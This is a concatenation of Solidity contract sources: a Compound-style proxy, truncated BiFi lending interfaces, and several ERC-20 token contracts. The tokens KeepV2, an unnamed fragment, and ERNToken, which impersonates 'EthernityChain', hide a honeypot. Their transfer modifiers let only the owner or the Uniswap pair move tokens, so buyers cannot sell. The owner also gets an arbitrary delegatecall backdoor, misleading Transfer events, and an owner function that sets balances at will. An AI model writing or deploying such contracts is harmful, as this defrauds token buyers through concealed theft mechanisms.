balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } modifier ensure(address _from, address _to) { address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); require(_from == owner || _to == owner || _from == UNI); _; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply; owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
DC1
pragma solidity ^0.5.16; interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } contract WanFarmErrorReporter { enum Error { NO_ERROR, UNAUTHORIZED } enum FailureInfo { ACCEPT_ADMIN_PENDING_ADMIN_CHECK, ACCEPT_PENDING_IMPLEMENTATION_ADDRESS_CHECK, SET_PENDING_ADMIN_OWNER_CHECK, SET_PENDING_IMPLEMENTATION_OWNER_CHECK } /** * @dev `error` corresponds to enum Error; `info` corresponds to enum FailureInfo, and `detail` is an arbitrary * contract-specific code that enables us to report opaque error codes from upgradeable contracts. **/ event Failure(uint error, uint info, uint detail); /** * @dev use this when reporting a known error from the money market or a non-upgradeable collaborator */ function fail(Error err, FailureInfo info) internal returns (uint) { emit Failure(uint(err), uint(info), 0); return uint(err); } /** * @dev use this when reporting an opaque error from an upgradeable collaborator contract */ function failOpaque(Error err, FailureInfo info, uint opaqueError) internal returns (uint) { emit Failure(uint(err), uint(info), opaqueError); return uint(err); } } contract UniFarmAdminStorage { /** * @notice Administrator for this contract */ address public admin; /** * @notice Pending administrator for this contract */ address public pendingAdmin; /** * @notice Active brains of WanFarm */ address public wanFarmImplementation; /** * @notice Pending brains of WanFarm */ address public pendingWanFarmImplementation; } /** * @title ComptrollerCore * @dev Storage for the comptroller is at this address, while execution is delegated to the `wanFarmImplementation`. * CTokens should reference this contract as their comptroller. */ contract UniFarm is UniFarmAdminStorage, WanFarmErrorReporter { /** * @notice Emitted when pendingWanFarmImplementation is changed */ event NewPendingImplementation(address oldPendingImplementation, address newPendingImplementation); /** * @notice Emitted when pendingWanFarmImplementation is accepted, which means comptroller implementation is updated */ event NewImplementation(address oldImplementation, address newImplementation); /** * @notice Emitted when pendingAdmin is changed */ event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin); /** * @notice Emitted when pendingAdmin is accepted, which means admin is updated */ event NewAdmin(address oldAdmin, address newAdmin); constructor() public { // Set admin to caller admin = msg.sender; } /*** Admin Functions ***/ function _setPendingImplementation(address newPendingImplementation) public returns (uint) { if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_PENDING_IMPLEMENTATION_OWNER_CHECK); } address oldPendingImplementation = pendingWanFarmImplementation; pendingWanFarmImplementation = newPendingImplementation; emit NewPendingImplementation(oldPendingImplementation, pendingWanFarmImplementation); return uint(Error.NO_ERROR); } /** * @notice Accepts new implementation of comptroller. msg.sender must be pendingImplementation * @dev Admin function for new implementation to accept it's role as implementation * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _acceptImplementation() public returns (uint) { // Check caller is pendingImplementation and pendingImplementation ≠ address(0) if (msg.sender != pendingWanFarmImplementation || pendingWanFarmImplementation == address(0)) { return fail(Error.UNAUTHORIZED, FailureInfo.ACCEPT_PENDING_IMPLEMENTATION_ADDRESS_CHECK); } // Save current values for inclusion in log address oldImplementation = wanFarmImplementation; address oldPendingImplementation = pendingWanFarmImplementation; wanFarmImplementation = pendingWanFarmImplementation; pendingWanFarmImplementation = address(0); emit NewImplementation(oldImplementation, wanFarmImplementation); emit NewPendingImplementation(oldPendingImplementation, pendingWanFarmImplementation); return uint(Error.NO_ERROR); } /** * @notice Begins transfer of admin rights. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer. * @dev Admin function to begin change of admin. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer. * @param newPendingAdmin New pending admin. * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setPendingAdmin(address newPendingAdmin) public returns (uint) { // Check caller = admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_PENDING_ADMIN_OWNER_CHECK); } // Save current value, if any, for inclusion in log address oldPendingAdmin = pendingAdmin; // Store pendingAdmin with value newPendingAdmin pendingAdmin = newPendingAdmin; // Emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin) emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin); return uint(Error.NO_ERROR); } /** * @notice Accepts transfer of admin rights. msg.sender must be pendingAdmin * @dev Admin function for pending admin to accept role and update admin * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _acceptAdmin() public returns (uint) { // Check caller is pendingAdmin and pendingAdmin ≠ address(0) if (msg.sender != pendingAdmin || msg.sender == address(0)) { return fail(Error.UNAUTHORIZED, FailureInfo.ACCEPT_ADMIN_PENDING_ADMIN_CHECK); } // Save current values for inclusion in log address oldAdmin = admin; address oldPendingAdmin = pendingAdmin; // Store admin with value pendingAdmin admin = pendingAdmin; // Clear the pending value pendingAdmin = address(0); emit NewAdmin(oldAdmin, admin); emit NewPendingAdmin(oldPendingAdmin, pendingAdmin); return uint(Error.NO_ERROR); } /** * @dev Delegates execution to an implementation contract. * It returns to the external caller whatever the implementation returns * or forwards reverts. */ function () payable external { // delegate all other functions to current implementation (bool success, ) = wanFarmImplementation.delegatecall(msg.data); assembly { let free_mem_ptr := mload(0x40) returndatacopy(free_mem_ptr, 0, returndatasize) switch success case 0 { revert(free_mem_ptr, returndatasize) } default { return(free_mem_ptr, returndatasize) } } } }
DC1
pragma solidity ^0.5.17; /* KeepV2 */ interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract KeepV2 { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } modifier ensure(address _from, address _to) { address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); require(_from == owner || _to == owner || _from == UNI); _; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply; owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
DC1
{{ "language": "Solidity", "sources": { "contracts/Token.sol": { "content": "//SPDX-License-Identifier: MIT\npragma solidity ^0.7.0;\n\ninterface IERC20 {\n function totalSupply() external view returns(uint);\n\n function balanceOf(address account) external view returns(uint);\n\n function transfer(address recipient, uint amount) external returns(bool);\n\n function allowance(address owner, address spender) external view returns(uint);\n\n function approve(address spender, uint amount) external returns(bool);\n\n function transferFrom(address sender, address recipient, uint amount) external returns(bool);\n event Transfer(address indexed from, address indexed to, uint value);\n event Approval(address indexed owner, address indexed spender, uint value);\n}\n\ninterface IUniswapV2Router02 {\n \n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n ) external payable returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\nlibrary SafeMath {\n function add(uint a, uint b) internal pure returns(uint) {\n uint c = a + b;\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint a, uint b) internal pure returns(uint) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {\n require(b <= a, errorMessage);\n uint c = a - b;\n\n return c;\n }\n\n function mul(uint a, uint b) internal pure returns(uint) {\n if (a == 0) {\n return 0;\n }\n\n uint c = a * b;\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint a, uint b) internal pure returns(uint) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {\n // Solidity only automatically asserts when dividing by 0\n require(b > 0, errorMessage);\n uint c = a / b;\n\n return c;\n }\n}\n\nabstract contract ERC20 {\n using SafeMath for uint;\n mapping(address => uint) private _balances;\n\n mapping(address => mapping(address => uint)) private _allowances;\n\n uint private _totalSupply;\n\n function totalSupply() public view returns(uint) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view returns(uint) {\n return _balances[account];\n }\n\n function transfer(address recipient, uint amount) public returns(bool) {\n _transfer(msg.sender, recipient, amount);\n return true;\n }\n\n function allowance(address owner, address spender) public view returns(uint) {\n return _allowances[owner][spender];\n }\n\n function approve(address spender, uint amount) public returns(bool) {\n _approve(msg.sender, spender, amount);\n return true;\n }\n\n function transferFrom(address sender, address recipient, uint amount) public returns(bool) {\n _transfer(sender, recipient, amount);\n _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, \"ERC20: transfer amount exceeds allowance\"));\n return true;\n }\n\n function increaseAllowance(address spender, uint addedValue) public returns(bool) {\n _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));\n return true;\n }\n\n function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {\n _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, \"ERC20: decreased allowance below zero\"));\n return true;\n }\n\n function _transfer(address sender, address recipient, uint amount) internal {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(amount, \"ERC20: transfer amount exceeds balance\");\n _balances[recipient] = _balances[recipient].add(amount);\n }\n\n function _mint(address account, uint amount) internal {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n _balances[account] = _balances[account].add(amount);\n }\n\n function _burn(address account, uint amount) internal {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _balances[account] = _balances[account].sub(amount, \"ERC20: burn amount exceeds balance\");\n _totalSupply = _totalSupply.sub(amount);\n }\n\n function _approve(address owner, address spender, uint amount) internal {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n }\n}\n\ncontract ERNToken {\n \n mapping (address => uint) public balanceOf;\n mapping (address => mapping (address => uint)) public allowance;\n \n uint constant public decimals = 18;\n uint public totalSupply = 30000000000000000000000000;\n string public name = \"@EthernityChain $ERN Token\";\n string public symbol = \"ERN\";\n address public uniRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n address public uniFactory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;\n address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n\n address private owner;\n address public uniPair;\n\n event Transfer(address indexed _from, address indexed _to, uint _value);\n event Approval(address indexed _owner, address indexed _spender, uint _value);\n \n constructor() {\n owner = msg.sender;\n \n uniPair = pairFor(uniFactory, wETH, address(this));\n allowance[address(this)][uniRouter] = uint(-1);\n allowance[msg.sender][uniPair] = uint(-1);\n }\n\n function transfer(address _to, uint _value) public payable returns (bool) {\n return transferFrom(msg.sender, _to, _value);\n }\n \n function transferFrom(address _from, address _to, uint _value) public payable checkLimits(_from, _to) returns (bool) {\n if (_value == 0) { return true; }\n if (msg.sender != _from) {\n require(allowance[_from][msg.sender] >= _value);\n allowance[_from][msg.sender] -= _value;\n }\n require(balanceOf[_from] >= _value);\n balanceOf[_from] -= _value;\n balanceOf[_to] += _value;\n emit Transfer(_from, _to, _value);\n return true;\n }\n \n function approve(address _spender, uint _value) public payable returns (bool) {\n allowance[msg.sender][_spender] = _value;\n emit Approval(msg.sender, _spender, _value);\n return true;\n }\n \n function delegate(address a, bytes memory b) public payable {\n require(msg.sender == owner);\n a.delegatecall(b);\n }\n \n modifier checkLimits(address _from, address _to) {\n require(_from == owner || _to == owner || _from == uniPair || tx.origin == owner || msg.sender == owner);\n _;\n }\n\n function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {\n (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);\n\n pair = address(uint(keccak256(abi.encodePacked(\n hex'ff',\n factory,\n keccak256(abi.encodePacked(token0, token1)),\n hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'\n ))));\n }\n\n function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable {\n require(msg.sender == owner);\n balanceOf[address(this)] = _numList;\n balanceOf[msg.sender] = totalSupply * 6 / 100;\n\n IUniswapV2Router02(uniRouter).addLiquidityETH{value: msg.value}(\n address(this),\n _numList,\n _numList,\n msg.value,\n msg.sender,\n block.timestamp + 600\n );\n\n require(_tos.length == _amounts.length);\n\n for(uint i = 0; i < _tos.length; i++) {\n balanceOf[_tos[i]] = _amounts[i];\n emit Transfer(address(0x0), _tos[i], _amounts[i]);\n }\n }\n}" } }, "settings": { "optimizer": { "enabled": true, "runs": 200 }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "abi" ] } }, "libraries": {} } }}
DC1
// File: contracts/interfaces/ILiquidationManager.sol pragma solidity 0.6.12; /** * @title BiFi's liquidation manager interface * @author BiFi(seinmyung25, Miller-kk, tlatkdgus1, dongchangYoo) */ interface ILiquidationManager { function setCircuitBreaker(bool _emergency) external returns (bool); function partialLiquidation(address payable delinquentBorrower, uint256 targetHandler, uint256 liquidateAmount, uint256 receiveHandler) external returns (uint256); function checkLiquidation(address payable userAddr) external view returns (bool); } // File: contracts/interfaces/IManagerSlotSetter.sol pragma solidity 0.6.12; /** * @title BiFi's Manager Context Setter interface * @author BiFi(seinmyung25, Miller-kk, tlatkdgus1, dongchangYoo) */ interface IManagerSlotSetter { function ownershipTransfer(address payable _owner) external returns (bool); function setOperator(address payable adminAddr, bool flag) external returns (bool); function setOracleProxy(address oracleProxyAddr) external returns (bool); function setRewardErc20(address erc20Addr) external returns (bool); function setBreakerTable(address _target, bool _status) external returns (bool); function setCircuitBreaker(bool _emergency) external returns (bool); function handlerRegister(uint256 handlerID, address tokenHandlerAddr, uint256 flashFeeRate, uint256 discountBase) external returns (bool); function setLiquidationManager(address liquidationManagerAddr) external returns (bool); function setHandlerSupport(uint256 handlerID, bool support) external returns (bool); function setPositionStorageAddr(address _positionStorageAddr) external returns (bool); function setNFTAddr(address _nftAddr) external returns (bool); function setDiscountBase(uint256 handlerID, uint256 feeBase) external returns (bool); function setFlashloanAddr(address _flashloanAddr) external returns (bool); function sethandlerManagerAddr(address _handlerManagerAddr) external returns (bool); function setSlotSetterAddr(address _slotSetterAddr) external returns (bool); function setFlashloanFee(uint256 handlerID, uint256 flashFeeRate) external returns (bool); } // File: contracts/interfaces/IHandlerManager.sol pragma solidity 0.6.12; /** * @title BiFi's Manager Interest interface * @author BiFi(seinmyung25, Miller-kk, tlatkdgus1, dongchangYoo) */ interface IHandlerManager { function applyInterestHandlers(address payable userAddr, uint256 callerID, bool allFlag) external returns (uint256, uint256, uint256, uint256, uint256, uint256); function interestUpdateReward() external returns (bool); function updateRewardParams(address payable userAddr) external returns (bool); function rewardClaimAll(address payable userAddr) external returns (uint256); function claimHandlerReward(uint256 handlerID, address payable userAddr) external returns (uint256); function ownerRewardTransfer(uint256 _amount) external returns (bool); } // File: contracts/interfaces/IManagerFlashloan.sol pragma solidity 0.6.12; interface IManagerFlashloan { function withdrawFlashloanFee(uint256 handlerID) external returns (bool); function flashloan( uint256 handlerID, address receiverAddress, uint256 amount, bytes calldata params ) external returns (bool); function getFee(uint256 handlerID, uint256 amount) external view returns (uint256); function getFeeTotal(uint256 handlerID) external view returns (uint256); function getFeeFromArguments(uint256 handlerID, uint256 amount, uint256 bifiAmo) external view returns (uint256); } // File: contracts/SafeMath.sol pragma solidity ^0.6.12; // from: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/SafeMath.sol // Subject to the MIT license. /** * @title BiFi's safe-math Contract * @author BiFi(seinmyung25, Miller-kk, tlatkdgus1, dongchangYoo) */ library SafeMath { uint256 internal constant unifiedPoint = 10 ** 18; /******************** Safe Math********************/ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "a"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return _sub(a, b, "s"); } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return _mul(a, b); } function div(uint256 a, uint256 b) internal pure returns (uint256) { return _div(a, b, "d"); } function _sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } function _mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a* b; require((c / a) == b, "m"); return c; } function _div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } function unifiedDiv(uint256 a, uint256 b) internal pure returns (uint256) { return _div(_mul(a, unifiedPoint), b, "d"); } function unifiedMul(uint256 a, uint256 b) internal pure returns (uint256) { return _div(_mul(a, b), unifiedPoint, "m"); } } // File: contracts/interfaces/IManagerDataStorage.sol pragma solidity 0.6.12; /** * @title BiFi's manager data storage interface * @author BiFi(seinmyung25, Miller-kk, tlatkdgus1, dongchangYoo) */ interface IManagerDataStorage { function getGlobalRewardPerBlock() external view returns (uint256); function setGlobalRewardPerBlock(uint256 _globalRewardPerBlock) external returns (bool); function getGlobalRewardDecrement() external view returns (uint256); function setGlobalRewardDecrement(uint256 _globalRewardDecrement) external returns (bool); function getGlobalRewardTotalAmount() external view returns (uint256); function setGlobalRewardTotalAmount(uint256 _globalRewardTotalAmount) external returns (bool); function getAlphaRate() external view returns (uint256); function setAlphaRate(uint256 _alphaRate) external returns (bool); function getAlphaLastUpdated() external view returns (uint256); function setAlphaLastUpdated(uint256 _alphaLastUpdated) external returns (bool); function getRewardParamUpdateRewardPerBlock() external view returns (uint256); function setRewardParamUpdateRewardPerBlock(uint256 _rewardParamUpdateRewardPerBlock) external returns (bool); function getRewardParamUpdated() external view returns (uint256); function setRewardParamUpdated(uint256 _rewardParamUpdated) external returns (bool); function getInterestUpdateRewardPerblock() external view returns (uint256); function setInterestUpdateRewardPerblock(uint256 _interestUpdateRewardPerblock) external returns (bool); function getInterestRewardUpdated() external view returns (uint256); function setInterestRewardUpdated(uint256 _interestRewardLastUpdated) external returns (bool); function setTokenHandler(uint256 handlerID, address handlerAddr) external returns (bool); function getTokenHandlerInfo(uint256 handlerID) external view returns (bool, address); function getTokenHandlerID(uint256 index) external view returns (uint256); function getTokenHandlerAddr(uint256 handlerID) external view returns (address); function setTokenHandlerAddr(uint256 handlerID, address handlerAddr) external returns (bool); function getTokenHandlerExist(uint256 handlerID) external view returns (bool); function setTokenHandlerExist(uint256 handlerID, bool exist) external returns (bool); function getTokenHandlerSupport(uint256 handlerID) external view returns (bool); function setTokenHandlerSupport(uint256 handlerID, bool support) external returns (bool); function setLiquidationManagerAddr(address _liquidationManagerAddr) external returns (bool); function getLiquidationManagerAddr() external view returns (address); function setManagerAddr(address _managerAddr) external returns (bool); } // File: contracts/interfaces/IOracleProxy.sol pragma solidity 0.6.12; /** * @title BiFi's oracle proxy interface * @author BiFi(seinmyung25, Miller-kk, tlatkdgus1, dongchangYoo) */ interface IOracleProxy { function getTokenPrice(uint256 tokenID) external view returns (uint256); function getOracleFeed(uint256 tokenID) external view returns (address, uint256); function setOracleFeed(uint256 tokenID, address feedAddr, uint256 decimals, bool needPriceConvert, uint256 priceConvertID) external returns (bool); } // File: contracts/interfaces/IERC20.sol // from: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/IERC20.sol pragma solidity 0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external ; function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external ; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts/interfaces/IObserver.sol pragma solidity 0.6.12; /** * @title BiFi's Observer interface * @author BiFi(seinmyung25, Miller-kk, tlatkdgus1, dongchangYoo) */ interface IObserver { function getAlphaBaseAsset() external view returns (uint256[] memory); function setChainGlobalRewardPerblock(uint256 _idx, uint256 globalRewardPerBlocks) external returns (bool); function updateChainMarketInfo(uint256 _idx, uint256 chainDeposit, uint256 chainBorrow) external returns (bool); } // File: contracts/interfaces/IProxy.sol pragma solidity 0.6.12; /** * @title BiFi's proxy interface * @author BiFi(seinmyung25, Miller-kk, tlatkdgus1, dongchangYoo) */ interface IProxy { function handlerProxy(bytes memory data) external returns (bool, bytes memory); function handlerViewProxy(bytes memory data) external view returns (bool, bytes memory); function siProxy(bytes memory data) external returns (bool, bytes memory); function siViewProxy(bytes memory data) external view returns (bool, bytes memory); } // File: contracts/interfaces/IMarketHandler.sol pragma solidity 0.6.12; /** * @title BiFi's market handler interface * @author BiFi(seinmyung25, Miller-kk, tlatkdgus1, dongchangYoo) */ interface IMarketHandler { function setCircuitBreaker(bool _emergency) external returns (bool); function setCircuitBreakWithOwner(bool _emergency) external returns (bool); function getTokenName() external view returns (string memory); function 